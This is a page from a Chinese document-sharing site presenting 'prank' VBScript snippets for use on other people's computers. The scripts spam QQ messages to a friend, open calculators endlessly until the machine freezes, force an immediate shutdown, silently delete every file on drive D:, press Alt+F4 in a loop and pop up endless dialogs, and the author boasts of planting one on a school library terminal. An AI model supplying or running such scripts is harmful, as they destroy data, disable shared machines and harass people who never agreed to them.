vbe整人代码

2022-07-12 06:11:13 第一文档网 [ 字体：小中大 ] [

阅读： ] [

说明：文章内容仅供预览，部分内容可能不全。下载后的文档，内容与下面显示的完全一致。下载之前请确认下面内容是否您想要的，是否完整无缺。下载word有问题请添加QQ：admin处理，感谢您的支持与谅解。

【#第一文档网# 导语】以下是®第一文档网的小编为您整理的《vbe整人代码》，欢迎阅读！
整人,代码,vbe

一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可). 注：要让相同的行列连接

xx.vbs=>

=--------------------------------------------------------------------------- On Error Resume Next Dim wsh,ye

set wsh=createobject("wscript.shell") for i=1 to 10

wscript.sleep 700

wsh.AppActivate("与 xx 聊天中") wsh.sendKeys "^v" wsh.sendKeys i wsh.sendKeys "%s" next

wscript.quit

----------------------------------------------------------------------------

QQ骚扰信息,也可以用在其它程序上。

二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈

------------------------------------------------------------------------------ do

msgbox "You are foolish!" loop

------------------------------------------------------------------------------

三、打开无数个计算器，直到死机

------------------------------------------------------------------------------

set wsh=createobject("wscript.shell") do

wsh.run "calc" loop

-----------------------------------------------------------------------------

四、直接关机

----------------------------------------------------------------------------- dim WSHshell

set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "shutdown -f -s -t 00",0 ,true

----------------------------------------------------------------------------- 五、删除D:\所有文件

---------------------------------------------------------------------------

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

---------------------------------------------------------------------------- 六、不断弹出窗口

----------------------------------------------------------------------------

while(1)

msgbox "哈哈你被耍了！" loop

---------------------------------------------------------------------------- 七、不断按下alt+f4 （开什么都关闭……）

---------------------------------------------------------------------------

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell") while(1)

WSHshell.SendKeys "%{F4}" loop

---------------------------------------------------------------------------

八、按500次回车

(以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ，500可以随意更改)

-----------------------------------------------------------------------------

dim s

do until s=500 s=s+1

msgbox "哥们，给我按500次回车吧",64

loop

'------------------------ ------------------------------------------------------------

九、关不掉的窗口

------------------------------------------------------------------------------------

WScript.Echo("嘿，谢谢你打开我哦，我等你很久

拉！"&TSName)

WScript.Echo("你是可爱的小朋吗?")

WScript.Echo("哈,我想你拉，这你都不知道吗？")

本文来源：https://www.dywdw.cn/e49c013f580216fc700afd26.html